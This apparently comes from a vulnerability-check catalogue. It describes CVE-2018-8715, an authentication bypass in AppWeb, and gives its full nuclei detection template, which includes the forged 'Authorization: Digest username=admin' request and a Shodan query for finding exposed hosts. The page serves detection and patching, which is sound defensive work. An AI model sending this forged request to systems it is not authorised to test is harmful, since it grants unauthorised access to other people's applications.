AppWeb - Authentication Bypass

highseverity

8.1CVSS score

22.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.

Impact

Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.

Fix

Apply the necessary patches or updates provided by the vendor to fix the authentication bypass vulnerability in AppWeb.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: contains "<a class=\"logo\" href=\"https://embedthis.com/\">&nbsp;</a>" AND status 200

Run it with nuclei: nuclei -id CVE-2018-8715 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-8715

info:
  name: AppWeb - Authentication Bypass
  author: milo2012
  severity: high
  description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.
  remediation: |
    Apply the necessary patches or updates provided by the vendor to fix the authentication bypass vulnerability in AppWeb.
  reference:
    - https://github.com/embedthis/appweb/issues/610
    - https://blogs.securiteam.com/index.php/archives/3676
    - https://security.paloaltonetworks.com/CVE-2018-8715
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8715
    - https://github.com/cyberharsh/appweb
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-8715
    cwe-id: CWE-287
    epss-score: 0.2279
    epss-percentile: 0.97747
    cpe: cpe:2.3:a:embedthis:appweb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: embedthis
    product: appweb
    shodan-query: cpe:"cpe:2.3:a:embedthis:appweb"
  tags: cve,cve2018,appweb,auth-bypass,embedthis,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Authorization: Digest username=admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a class="logo" href="https://embedthis.com/">&nbsp;</a>'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from